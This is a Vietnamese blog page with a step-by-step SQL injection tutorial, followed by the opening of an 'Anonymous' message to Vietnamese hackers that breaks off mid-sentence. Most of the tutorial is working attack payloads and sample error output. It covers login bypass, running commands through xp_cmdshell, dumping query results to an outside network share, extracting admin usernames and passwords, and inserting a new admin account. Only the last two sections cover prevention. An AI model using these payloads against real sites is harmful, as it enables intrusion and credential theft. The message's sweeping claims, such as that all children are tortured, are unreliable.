Tấn công kiểu SQL Injection --- Của Aptech

<div dir="ltr" style="text-align: left;" trbidi="on"> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">1.SQL Injection là gì?</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution, dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">2. Tìm kiếm mục tiêu</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ví dụ:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?id=10</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em><FORM action=Search/search.asp method=post><br /><input type=hidden name=A value=C><br /></FORM></em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">3. Kiểm tra chỗ yếu của trang web</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>Login: hi' or 1=1--<br />Password: hi' or 1=1--<br />http://yoursite.com/index.asp?id=hi' or 1=1--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em><FORM action=http://yoursite.com/Search/search.asp method=post><br /><input type=hidden name=A value="hi' or 1=1--"><br /></FORM></em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu thành công, thì có thể login vào mà không cần phải biết username và password</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">4. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?category=food</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>v_cat = request("category")<br />sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"<br />set rs=conn.execute(sqlstr)</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1--, biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food' or 1=1--'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>SELECT * FROM product WHERE PCategory='food' or 'a'='a'</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>' or 1=1--</em></div> <div align="justify"> <em>" or 1=1--</em></div> <div align="justify"> <em>or 1=1--</em></div> <div align="justify"> <em>' or 'a'='a</em></div> <div align="justify"> <em>" or "a"="a</em></div> <div align="justify"> <em>') or ('a'='a</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">5. Thi hành lệnh từ xa bằng SQL Injection</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>'; exec master..xp_cmdshell 'ping 10.10.1.2'--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>#tcpdump icmp</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong>6. Nhận output của SQL query</strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chú ý: folder "<strong>share</strong>" phải được share cho Everyone trước.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">7. Nhận dữ liệu qua 'database using ODBC error message'</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--</em></blockquote> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <div align="justify"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--</em></div> </blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể là:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">8. Xác định tên của các column trong table</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e14'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">9. Thu thập các dữ liệu quan trọng</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có thể lấy login_name đầu tiên trong table "admin_login" như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đó thông báo lỗi của SQL Server có thể như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">10. Nhận các numeric string</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>Microsoft OLE DB Provider for ODBC Drivers error '80040e07'</em><br /> <em>[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.</em><br /> <em>/index.asp, line 5</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">11. Thay đổi dữ liệu (Update/Insert) của CSDL</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Khi đã có tên của tất cả các column trong table, có thể sử dụng statement UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Để thay đổi password của "neo", có thể làm như sau:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hoặc nếu bạn muốn một record mới vào table:</div> <blockquote style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <em>http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--</em></blockquote> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Và bây giờ có thể login vào với username "neo2" và password là "newpas5"</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">12. Ngăn chặn SQL Injection</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:</div> <ul style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <li>input do người dùng đệ trình</li> <li>các tham số từ URL</li> <li>các giá trị từ cookie</li> </ul> <div style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Xóa các stored procedure trong database master mà không dùng như:</div> <ul style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <li>xp_cmdshell</li> <li>xp_startmail</li> <li>xp_sendmail</li> <li>sp_makewebtask</li> </ul> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> <strong><span style="color: navy;">13. Ngăn chặn SQL Injection trong ASP.NET</span></strong></div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.</div> <div align="justify" style="background-color: #fbfbfb; color: #000066; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px;"> Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.</div> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"> </span></div>

Tấn công kiểu SQL Injection --- Của Aptech

1.SQL Injection là gì? SQL Injection là một trong những kiểu hack web đang dần trở nên phổ biến hiện nay. Bằng cách inject các mã SQL qu...

Read More »

Anonymous - Messege to Community Hacker Vietnam

<div dir="ltr" style="text-align: left;" trbidi="on"> <center><iframe width="560" height="315" src="https://www.youtube.com/embed/uSPjDdZ4z5A" frameborder="0" allowfullscreen></iframe></center> <span style="font-family: Helvetica Neue, Arial, Helvetica, sans-serif;"><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">Dear brothers and sisters. Now is the time to open your eyes! </span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">The message we want to send to the community of Hacker Vietnam and those who call themselves Anonymous Vietnam, as your country occupies in the decaying and rotting.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">Freedom of speech has never existed in your country. This is the reason we want to send you this message.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">We have 5 reasons to send it to you.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">1. Police robs people of money the road, even part of the government corrupts from top to bottom, as they want to be the dictators. Each class in the system of government derives you of freedom of speech and political banners. You need to speak up and defend the people of your country.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">2. All children in your country has been tortured and beaten to death because of some people classified as closed. Students then took their bodies in exchange for points. If that so we do not understand which mission your country's education ministry was created to do?</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">Hacker Community Vietnam or claiming to be Community Anonymous Vietnam needs to fight and demands justice for the victims.</span><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><br style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;" /><span style="background-color: white; color: #333333; font-size: 13px; line-height: 17px;">3. Each time you use our 